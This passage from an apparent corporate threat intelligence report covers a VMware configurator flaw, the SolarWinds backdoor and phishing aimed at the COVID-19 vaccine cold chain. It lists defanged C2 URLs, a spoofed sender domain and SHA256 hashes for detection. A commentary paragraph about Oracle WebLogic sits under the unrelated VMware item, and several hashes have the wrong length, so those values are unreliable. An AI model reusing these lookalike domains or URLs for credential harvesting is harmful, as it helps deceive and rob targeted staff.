VMware reported that a malicious actor with network access to the administrative configurator on port 8443 and a valid password for the configurator admin account can execute commands with unrestricted privileges on the underlying operating system. This account is internal to the impacted products, and a password is set at the time of deployment. A malicious actor must possess this password to attempt to exploit CVE-2020-4006.

VMware added, “Password-based access to the web-based management interface of the device is required to exploit the vulnerability, so using a strong and unique password lowers the risk of exploitation. The risk is lowered further if the web-based management interface is not accessible from Internet.”

### Russian group linked to unprecedented SolarWinds hack

U.S. officials are blaming Russian nation-state threat actors on an attack on 18,000 servers used by tech companies, government agencies, think tanks and NGOs. Details were still surfacing in mid-December, but officials believe the 9-month campaign exploited the SolarWinds software build system and pushed a security update loaded with a backdoor through the company's Orion networking system. The hack was uncovered after security company FireEye announced it had been breached. FireEye soon discovered the hack also targeted multiple federal agencies. It is believed that attackers were only able to install a second-stage payload in a few dozen organizations.

Source: [Ars Technica](#)

## DXC perspective

Successful exploitation would allow an unauthenticated attacker to compromise the Oracle WebLogic server over HTTP and take complete control of the host. Level of scanning for vulnerable systems is high. Oracle has recommended immediate patching. Organizations should consider any public-facing server of this type to be compromised.

Sources:

[VMware](#)

[NSA](#)

# Nation State and Geopolitical COVID-19 vaccine manufacturers and supply chain targeted

## Cybersecurity and Infrastructure Security Agency (CISA) issues alert

CISA advises Operation Warp Speed (OWS) organizations and organizations involved in vaccine storage and transport to review the IBM X-Force report: *Attackers Are Targeting the COVID-19 Vaccine Cold Chain*

IBM X-Force has released a report on malicious cyber actors targeting the COVID-19 cold chain – an integral part of delivering and storing a vaccine at safe temperatures.

Threat actors observed phishing and spearphishing emails targeting executives and global organizations involved in vaccine storage and transport to harvest account credentials.

The emails contain a request for quotations for participation in a vaccine program, but contain malicious HTML attachments that open on the user's machine and prompt the user to enter their credentials to view the file.

Attackers sent phishing emails that appear to come from a "Haier Biomedical" executive using a spoofed domain, haierbiomedical.com, which is close to the company's legitimate domain, haiermedical.com.

Haier is a Chinese company and a qualified supplier for the Cold Chain Equipment Optimization Platform (CCEOP) program. The email subject line is "RFQ – UNICEF CCEOP and Vaccine Project."

No threat actor attribution could be established for this campaign.

Targets include the European Commission's Directorate-General for Taxation and Customs Union and organizations in energy, manufacturing, software and internet security in Germany, Italy, South Korea, Czech Republic and Taiwan.

Indicators of compromise for malicious HTML files RFQ – UNICEF CCEOP and Vaccine Project – Copy (#).html

SHA256 Hashes
d32b4793e4d99bb2f9d4961a52aee44bbdba223699075ed40f6a6081e9f1e6b4
ace86e8f5d031968d0c9319081a69fa66ce798e25ec6bbd23720ee570651aa04
7f53eca4a3e083ad28c8d02862bc84c00c3c73a9d8b7082b7995f150713d4c51
e3de643f3acebf1696a2b275f4ab1d0bacb5a8ba466ee8edbaaffaa44c4cd2f10
a8c42db5ccddbde5b17ce3545189329a33acfd4a8b9aff0c7e4294709b60af6
07dbe854a34e61349adcc97d3e2eb5a9158e02568bae3e2aae3859aeeb5b8a9
7898d4596b6125129698866dbfa1a71d069aee3fd84ecb43343c3bf377a7abe2
7fc47e4fdce42b032b8ad0438cb5c76ed42a36d8c6a3e16d42dd0b69f49f33bd
83f8934fadccbaaa8119cd542382fbb9b97dfd196ef787b746ccaf11fd444e
6126052b0b200e04ce83a3fa470efee6ba82882674ebcc46c326b0a6c7fbfab4
75768be2e98b8010256f519a19a2a47d8983686389b2eeab300aca063b229be5
b98984a7bf669518b074ef1c8fc4240e4ad6f4a2ccc80a7940a0b56150809e37
33c44f32de3153d7705371c4a0c8d695a4e4eb22b4c4f2f3bda519631efb09af
a90056d8d0853f54dec3c8738fbcea6185f87aae6102cff2c0e1def49ccde977
68f4e8b58367ae1d0f8c392b43f459b1d942faf979953233a104cd74944b88f4
0ec6a1a0b353c672307220fe69ca4c3be6e516505e1f16b5bb8f3b55adaa0c0e
61e7f48f41414d3c945b7317023ca27e5d3f011b0a2e16354641748cc0f9df8e
0ac984f340a2903228b17e28c3a0f4507f5fc780bfe6505f196d2b92feccfab8
9143c2499a1cb2fb4e86ba6f9552f752358d8c8b635376aa619305431a3eec50
49468e2cbaab71a1035f45ef1d4a7cd791e2d5c2bbbfc9d29249d64f40be9aac4
8dc052382d626a2b1fb9181bdc276858386098e1919276c682a0a2b397dab80b
61bae857955c5cabf20119a918a0ebd83cbe9a34ebc6ee628144d225ab0867df
93643badb18f8dccba1eae3d0a44e8a91d4646cb4d1d4b61e234bf7edc58969c
c22ec0725f45221e477c9966a32b8faadd3e320c278043e57252903be89664cc
d5cd18bd27b7525d5e240d5dca555844ec721f8f4be224b91c047b827b7e5529
3e6b7d3055b50c2fd65231d1f757e3f0a6a1dbd803601d2e4223ace4d2bc1198
d32b4793e4d99bb2f9d4961a52aee44bbdba223699075ed40f6a6081e9f1e6b4
28511c50efe2fc02f7a437864e48f8c2983637507c2f8d8773e32ed9a420c895

C2 URLs

- hxxps://e-mailer.cf/next[.]php
- hxxps://e-mailer.ga/next[.]php
- hxxps://nwa-oma2.ml/next[.]php
- hxxps://routermanager.ga/next[.]php
- hxxps://routermanager.gq/next[.]php
- hxxps://routermanager.ml/next[.]php
- hxxps://routermanagers.cf/next[.]php
- hxxps://routermanagers.ga/next[.]php
- hxxps://routermanagers.gq/next[.]php
- hxxps://routermanagers.ml/next[.]php

hxxps://serverrouter.cf/next[.]php  
hxxps://serverrouter.ga/next[.]php  
hxxps://serversrouter.cf/next[.]php  
hxxps://serversrouter.gq/next[.]php  
hxxps://nwa-oma.ml/next[.]php

### Sender email addresses

yongbinxu@haierbiomedical.com

### DNS State of Authority (SOA) Addresses

rahim[@]protonmail.com  
kilode[@]cock.li.

### Additional Related URLs

hxxps://mailerdaemon.cf  
hxxps://mailerdaemon.ga  
hxxps://mailerdaemon.gq  
hxxps://mailerdaemon.ml  
hxxps://mailerdaemon.tk  
hxxps://routermanager.tk  
hxxps://routermanagers.tk  
hxxps://serverrouter.tk

## DXC perspective

COVID-19 and the upcoming vaccines are in the news every day and on the minds of people around the globe. Any disruptions in vaccine research, manufacturing and logistics could translate into lives lost. Threat actors' motivations for attacking the COVID-19 vaccine supply chain are unclear, but likely to involve two key scenarios: a ransomware attack with a sizable ransom or the demand for vaccine supplies on the black market.

---

Sources:  
[IBM X-Force](#)  
[CISA](#)  
[BBC](#)

## Learn more

Thank you for reading the Security Threat Intelligence Report. Learn more about security trends and insights from [DXC Labs | Security](#).

## DXC in Security

Recognized as a leader in security services, DXC Technology helps clients prevent potential attack pathways, reduce cyber risk, and improve threat detection and incident response. Our expert advisory services and 24x7 managed security services are backed by 3,000+ experts and a global network of security operations centers.

DXC provides solutions tailored to our clients' diverse security needs, with areas of specialization in Cyber Defense, Digital Identity, Secured Infrastructure and Data Protection. Learn how DXC can help protect your enterprise in the midst of large-scale digital change. Visit [www.dxc.technology/security](http://www.dxc.technology/security).

**Stay current on the latest threats at [www.dxc.technology/threats](http://www.dxc.technology/threats).**

 **Get the insights that matter.**  
[www.dxc.technology/optin](http://www.dxc.technology/optin)

### About DXC Technology

DXC Technology (NYSE: DXC) helps global companies run their mission critical systems and operations while modernizing IT, optimizing data architectures, and ensuring security and scalability across public, private and hybrid clouds. With decades of driving innovation, the world's largest companies trust DXC to deploy our enterprise technology stack to deliver new levels of performance, competitiveness and customer experiences. Learn more about the DXC story and our focus on people, customers and operational execution at [www.dxc.technology](http://www.dxc.technology).